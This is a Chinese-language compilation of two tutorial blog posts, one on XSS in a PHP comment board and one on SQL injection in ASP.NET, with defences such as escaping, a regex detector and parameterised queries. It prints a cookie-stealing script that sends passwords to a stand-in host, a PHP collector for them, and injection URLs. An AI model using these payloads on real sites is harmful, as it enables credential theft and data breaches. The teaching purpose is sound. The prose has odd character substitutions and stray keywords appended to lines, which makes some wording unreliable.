XSS攻击: https://www.cnblogs.com/dolphinX/p/3391351.htmljavascript
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。php
咱们有个页面用于容许用户发表留言,而后在页面底部显示留言列表css
<!DOCTYPE html> <html> <head> <?php include('/components/headerinclude.php');?></head> <style type="text/css"> .comment-title{ font-size:14px; margin: 6px 0px 2px 4px; } .comment-body{ font-size: 14px; color:#ccc; font-style: italic; border-bottom: dashed 1px #ccc; margin: 4px; } </style> <script type="text/javascript" src="/js/cookies.js"></script> <body> <form method="post" action="list.php"> <div style="margin:20px;"> <div style="font-size:16px;font-weight:bold;">Your Comment</div> <div style="padding:6px;"> Nick Name: <br/> <input name="name" type="text" style="width:300px;"/> </div> <div style="padding:6px;"> Comment: <br/> <textarea name="comment" style="height:100px; width:300px;"></textarea> </div> <div style="padding-left:230px;"> <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/> </div> <div style="border-bottom:solid 1px #fff;margin-top:10px;"> <div style="font-size:16px;font-weight:bold;">Comments</div> </div> <?php require('/components/comments.php'); if(!empty($_POST['name'])){ addElement($_POST['name'],$_POST['comment']); } renderComments(); ?> </div> </form> </body> </html>
addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的html
由于咱们彻底信任了用户输入,但有些别有用心的用户会像这样的输入java
这样不管是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,若是这只是个恶意的小玩笑,有些人作的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子程序员
固然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。咱们知道不少登录界面都有记住用户名、密码的功能方便用户下次登陆,有些网站是直接用明文记录用户名、密码,恶意用户注册帐户登陆后使用简单工具查看cookie结构名称后,若是网站有xss漏洞,那么简单的利用jsonp就能够获取其它用户的用户名、密码了。正则表达式
恶意用户会这么输入sql
咱们看看http://test.com/hack.js里藏了什么数据库
var username=CookieHelper.getCookie('username').value; var password=CookieHelper.getCookie('password').value; var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);
几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.phpjson
发送了一个get请求
<?php if(!empty($_GET['password'])){ $username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>
这样恶意用户就把访问留言板的用户的信息窃取了
上面演示的是一个很是简单的XSS攻击,还有不少隐蔽的方式,可是其核心都是利用了脚本注入,所以咱们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就能够从根本上防止这一问题,固然不少解决方案都对XSS作了特定限制,如上面这中作法在ASP.NET中不幸不一样,微软validateRequest对表单提交自动作了XSS验证。但防不胜防,总有些聪明的恶意用户会到咱们的网站搞破坏,对本身站点不放心能够看看这个XSS跨站测试代码大全试试站点是否安全。
Sql注入: https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html
日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登陆名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引起众多网民对本身帐号、密码等互联网信息被盗取的广泛担心。
网络安全成为了如今互联网的焦点,这也偏偏触动了每一位用户的神经,因为设计的漏洞致使了不可收拾的恶果,验证了一句话“出来混的,早晚是要还的”,因此我想经过专题博文介绍一些经常使用的攻击技术和防范策略。
SQL Injection也许不少人都知道或者使用过,若是没有了解或彻底没有听过也没有关系,由于接下来咱们将介绍SQL Injection。
SQL Injection:就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它能够经过在Web表单中输入(恶意)SQL语句获得一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
首先让咱们了解何时可能发生SQL Injection。
假设咱们在浏览器中输入URL www.sample.com,因为它只是对页面的简单请求无需对数据库动进行动态请求,因此它不存在SQL Injection,当咱们输入www.sample.com?testid=23时,咱们在URL中传递变量testid,而且提供值为23,因为它是对数据库进行动态查询的请求(其中?testid=23表示数据库查询变量),因此咱们能够该URL中嵌入恶意SQL语句。
如今咱们知道SQL Injection适用场合,接下来咱们将经过具体的例子来讲明SQL Injection的应用,这里咱们以pubs数据库做为例子。
咱们经过Web页面查询job表中的招聘信息,job表的设计以下:
图1 jobs表
接着让咱们实现Web程序,它根据工做Id(job_id)来查询相应的招聘信息,示意代码以下:
/// <summary> /// Handles the Load event of the Page control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param> protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { // Gets departmentId from http request. string queryString = Request.QueryString["departmentID"]; if (!string.IsNullOrEmpty(queryString)) { // Gets data from database. gdvData.DataSource = GetData(queryString.Trim()); // Binds data to gridview. gdvData.DataBind(); } } }
如今咱们已经完成了Web程序,接下来让咱们查询相应招聘信息吧。
图2 job表查询结果
如图所示,咱们要查询数据库中工做Id值为1的工做信息,并且在页面显示了该工做的Id,Description,Min Lvl和Max Lvl等信息。
如今要求咱们实现根据工做Id查询相应工做信息的功能,想必你们很快能够给出解决方案,SQL示意代码以下:
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE (job_id = 1)
假设如今要求咱们获取Department表中的全部数据,并且必须保留WHERE语句,那咱们只要确保WHERE恒真就OK了,SQL示意代码以下:
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE (job_id = 1) OR 1 = 1
上面咱们使得WHERE恒真,因此该查询中WHERE已经不起做用了,其查询结果等同于如下SQL语句。
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs
SQL查询代码实现以下:
string sql1 = string.Format( "SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='{0}'", jobId);
如今咱们要经过页面请求的方式,让数据库执行咱们的SQL语句,咱们要在URL中嵌入恶意表达式1=1(或2=2等等),以下URL所示:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
等效SQL语句以下:
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id = '1' OR '1' = 1'
图3 job表查询结果
如今咱们把job表中的全部数据都查询出来了,仅仅经过一个简单的恒真表达式就能够进行了一次简单的攻击。
虽然咱们把job表的数据都查询出来了,但数据并无太大的价值,因为咱们把该表临时命名为job表,因此接着咱们要找出该表真正表名。
首先咱们假设表名就是job,而后输入如下URL:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--
等效SQL语句以下:
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='1'or 1=(select count(*) from job) --'
图4 job表查询结果
当咱们输入了以上URL后,结果服务器返回咱们错误信息,这证实了咱们的假设是错误的,那咱们该感受到挫败吗?不,其实这里返回了不少信息,首先它证实了该表名不是job,并且它还告诉咱们后台数据库是SQL Server,不是MySQL或Oracle,这也设计一个漏洞把错误信息直接返回给了用户。
接下假定表名是jobs,而后输入如下URL:
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from jobs) --
等效SQL语句以下:
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='1'or 1=(select count(*) from jobs) --'
图5 job表查询结果
如今证实了该表名是jobs,这能够迈向成功的一大步,因为咱们知道了表名就能够对该表进行增删改操做了,并且咱们还能够猜想出更多的表对它们做出修改,一旦修改为功那么这将是一场灾难。
如今你们已经对SQL Injection的攻击有了初步的了解了,接下让咱们学习如何防止SQL Injection。
总的来讲有如下几点:
1.永远不要信任用户的输入,要对用户的输入进行校验,能够经过正则表达式,或限制长度,对单引号和双"-"进行转换等。
2.永远不要使用动态拼装SQL,可使用参数化的SQL或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库链接,为每一个应用使用单独的权限有限的数据库链接。
4.
而后继续校验输入数据中是否包含SQL语句的保留字,如:WHERE,EXEC,DROP等。
如今让咱们编写正则表达式来校验用户的输入吧,正则表达式定义以下:
private static readonly Regex RegSystemThreats = new Regex(@"\s?or\s*|\s?;\s?|\s?drop\s|\s?grant\s|^'|\s?--|\s?union\s|\s?delete\s|\s?truncate\s|" + @"\s?sysobjects\s?|\s?xp_.*?|\s?syslogins\s?|\s?sysremote\s?|\s?sysusers\s?|\s?sysxlogins\s?|\s?sysdatabases\s?|\s?aspnet_.*?|\s?exec\s?", RegexOptions.Compiled | RegexOptions.IgnoreCase);
上面咱们定义了一个正则表达式对象RegSystemThreats,而且给它传递了校验用户输入的正则表达式。
因为咱们已经完成了对用户输入校验的正则表达式了,接下来就是经过该正则表达式来校验用户输入是否合法了,因为.NET已经帮咱们实现了判断字符串是否匹配正则表达式的方法——IsMatch(),因此咱们这里只需给传递要匹配的字符串就OK了。
示意代码以下:
/// <summary> /// A helper method to attempt to discover [known] SqlInjection attacks. /// </summary> /// <param name="whereClause">string of the whereClause to check</param> /// <returns>true if found, false if not found </returns> public static bool DetectSqlInjection(string whereClause) { return RegSystemThreats.IsMatch(whereClause); } /// <summary> /// A helper method to attempt to discover [known] SqlInjection attacks. /// </summary> /// <param name="whereClause">string of the whereClause to check</param> /// <param name="orderBy">string of the orderBy clause to check</param> /// <returns>true if found, false if not found </returns> public static bool DetectSqlInjection(string whereClause, string orderBy) { return RegSystemThreats.IsMatch(whereClause) || RegSystemThreats.IsMatch(orderBy); }
如今咱们完成了校验用的正则表达式,接下来让咱们须要在页面中添加校验功能。
/// <summary> /// Handles the Load event of the Page control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.EventArgs"/> instance containing the event data.</param> protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { // Gets departmentId from http request. string queryString = Request.QueryString["jobId"]; if (!string.IsNullOrEmpty(queryString)) { if (!DetectSqlInjection(queryString) && !DetectSqlInjection(queryString, queryString)) { // Gets data from database. gdvData.DataSource = GetData(queryString.Trim()); // Binds data to gridview. gdvData.DataBind(); } else { throw new Exception("Please enter correct field"); } } } }
当咱们再次执行如下URL时,被嵌入的恶意语句被校验出来了,从而在必定程度上防止了SQL Injection。
http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1
图6 添加校验查询结果
但使用正则表达式只能防范一些常见或已知SQL Injection方式,并且每当发现有新的攻击方式时,都要对正则表达式进行修改,这但是吃力不讨好的工做。
经过参数化存储过程进行数据查询存取
首先咱们定义一个存储过程根据jobId来查找jobs表中的数据。
-- ============================================= -- Author: JKhuang -- Create date: 12/31/2011 -- Description: Get data from jobs table by specified jobId. -- ============================================= ALTER PROCEDURE [dbo].[GetJobs] -- ensure that the id type is int @jobId INT AS BEGIN -- SET NOCOUNT ON; SELECT job_id, job_desc, min_lvl, max_lvl FROM dbo.jobs WHERE job_id = @jobId GRANT EXECUTE ON GetJobs TO pubs END
接着修改咱们的Web程序使用参数化的存储过程进行数据查询。
using (var com = new SqlCommand("GetJobs", con)) { // Uses store procedure. com.CommandType = CommandType.StoredProcedure; // Pass jobId to store procedure. com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId; com.Connection.Open(); gdvData.DataSource = com.ExecuteScalar(); gdvData.DataBind(); }
如今咱们经过参数化存储过程进行数据库查询,这里咱们把以前添加的正则表达式校验注释掉。
图7 存储过程查询结果
你们看到当咱们试图在URL中嵌入恶意的SQL语句时,参数化存储过程已经帮咱们校验出传递给数据库的变量不是整形,并且使用存储过程的好处是咱们还能够很方便地控制用户权限,咱们能够给用户分配只读或可读写权限。
但咱们想一想真的有必要每一个数据库操做都定义成存储过程吗?并且那么多的存储过程也不利于平常的维护。
参数化SQL语句
仍是回到以前动态拼接SQL基础上,咱们知道一旦有恶意SQL代码传递过来,并且被拼接到SQL语句中就会被数据库执行,那么咱们是否能够在拼接以前进行判断呢?——命名SQL参数。
string sql1 = string.Format("SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id = @jobId"); using (var con = new SqlConnection(ConfigurationManager.ConnectionStrings["SQLCONN1"].ToString())) using (var com = new SqlCommand(sql1, con)) { // Pass jobId to sql statement. com.Parameters.Add("@jobId", SqlDbType.Int).Value = jobId; com.Connection.Open(); gdvData.DataSource = com.ExecuteReader(); gdvData.DataBind(); }图8 参数化SQL查询结果
这样咱们就能够避免每一个数据库操做(尤为一些简单数据库操做)都编写存储过程了,并且当用户具备数据库中jobs表的读权限才能够执行该SQL语句。
添加新架构
数据库架构是一个独立于数据库用户的非重复命名空间,您能够将架构视为对象的容器(相似于.NET中的命名空间)。
首先咱们右击架构文件夹,而后新建架构。
图9 添加HumanResource架构
上面咱们完成了在pubs数据库中添加HumanResource架构,接着把jobs表放到HumanResource架构中。
图 10 修改jobs表所属的架构
当咱们再次执行如下SQL语句时,SQL Server提示jobs无效,这是究竟什么缘由呢?以前还运行的好好的。
SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs
图 11 查询输出
当咱们输入完整的表名“架构名.对象名”(HumanResource.jobs)时,SQL语句执行成功。
SELECT job_id, job_desc, min_lvl, max_lvl FROM HumanResource.jobs
为何以前咱们执行SQL语句时不用输入完整表名dbo.jobs也能够执行呢?
这是由于默认的架构(default schema)是dbo,当只输入表名时,Sql Server会自动加上当前登陆用户的默认的架构(default schema)——dbo。
因为咱们使用自定义架构,这也下降了数据库表名被猜想出来的可能性。
LINQ to SQL
前面使用了存储过程和参数化查询,这两种方法都是很是经常使用的,而针对于.NET Framework的ORM框架也有不少,如:NHibernate,Castle和Entity Framework,这里咱们使用比较简单LINQ to SQL。
图 12 添加jobs.dbml文件
var dc = new pubsDataContext(); int result; // Validates jobId is int or not. if (int.TryParse(jobId, out result)) { gdvData.DataSource = dc.jobs.Where(p => p.job_id == result); gdvData.DataBind(); }
相比存储过程和参数化查询,LINQ to SQL咱们只需添加jobs.dbml,而后使用LINQ对表进行查询就OK了。
1.1.3 总结
咱们在本文中介绍了SQL Injection的基本原理,经过介绍什么是SQL Injection,怎样进行SQL Injection和如何防范SQL Injection。经过一些程序源码对SQL的攻击进行了细致的分析,使咱们对SQL Injection机理有了一个深刻的认识,做为一名Web应用开发人员,必定不要盲目相信用户的输入,而要对用户输入的数据进行严格的校验处理,不然的话,SQL Injection将会不期而至。
最后,祝你们新年快乐,身体健康,Code with pleasure。
参考
http://en.wikipedia.org/wiki/SQL_injection
http://msdn.microsoft.com/zh-cn/library/bb153640%28v=SQL.90%29.aspx